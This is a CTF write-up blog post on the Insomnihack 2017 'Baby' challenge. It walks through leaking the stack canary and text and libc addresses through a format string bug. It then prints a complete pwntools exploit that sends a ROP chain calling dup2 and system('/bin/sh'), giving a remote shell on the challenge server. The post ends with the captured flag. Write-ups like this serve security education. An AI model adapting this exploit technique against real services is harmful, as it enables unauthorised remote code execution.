Insomnihack teaser 2017 Baby Writeup

Solved by 4rbit3r

The first CTF of 2017 and it didn’t disappoint. It took me a while to get the exploit working but it was fun.

As usual, lets see what protections are enabled on the binary.

$ checksec baby

Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Well, isn’t that something ! No worries, there have been challenges with even worse conditions.

Looking through the code of the binary, we see that the binary first starts a server and then forks off a child to handle a client. Now looking at the handle function, we see that it is a menu driven program that offers three functionalities. Namely

  1. Stack overflow
  2. Format string
  3. Heap overflow

And then a fourth option which simply exits.

As the names suggest, each function has the respective vulnerability. So, my first idea was to leak out some pointers using the format string vulnerability. This memory leak can then be leveraged to gain control over execution through the stack overflow.

So, the steps should be:

  1. Choose format string vuln.
  2. Leak address of text segment.
  3. Leak address of libc.
  4. Choose stack overflow vuln.
  5. ROP.

But there was some difference in the values on the stack when I ran the binary locally and that of the remote server.

But there are some values on the stack that we can bet on. The return addresses of the functions dostack and handle are values of the text segment. So by leaking those, we get the base address of the text segment. Now for libc, the return address of main can be used.

After leaking, all that’s left is to craft a nice ROP payload and pwn this binary.

But wait, it’s not over.

The shell I got at the beginning was at the parent process end, whereas we were interacting with the socket. So, before calling system(‘/bin/sh’), we should insert two calls to dup2().

from pwn import *

g1 = 0x1c8b				#pop rdi;ret;
g2 = 0x1c89				#pop rsi;pop r15;ret;

def leak_first():
	p.sendlineafter("> ",'2')
	p.sendlineafter("> ",'%llx-'*158)
	val = p.recvline().strip().split('-')
	p.sendline('')
	libc,text,canary = int(val[-2],16),int(val[139],16),int(val[137],16)
	return libc-0x20830,text-0x19cf,canary

def bof_stack():
	p.sendlineafter("> ","1")
	payload = fit({1032:p64(canary),1048:p64(g2)+p64(0),1072:p64(g1)+p64(fd)+p64(dup2)})
	payload+= p64(g2)+p64(1)+p64(0)+p64(g1)+p64(fd)+p64(dup2)
	payload+= p64(g2)+p64(0)+p64(0)+p64(g1)+p64(binsh)+p64(system)
	p.sendlineafter("?",str(len(payload)+1))
	p.sendline(payload)
	log.info(p.recvline())
	p.interactive()

if __name__ == "__main__":
	fd=4
	p = remote("baby.teaser.insomnihack.ch",1337)
	libc,text,canary=leak_first()
	elf = ELF("libc.so")
	elf.address = libc
	binsh = elf.search("/bin/sh").next()
	system = elf.symbols['system']
	dup2 = elf.symbols['dup2']
	g1+= text
	g2+= text
	bof_stack()

And well that gave the flag.
Here it is : INS{if_you_haven’t_solve_it_with_the_heap_overflow_you’re_a_baby!}

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Blog at WordPress.com.

Up ↑

%d bloggers like this: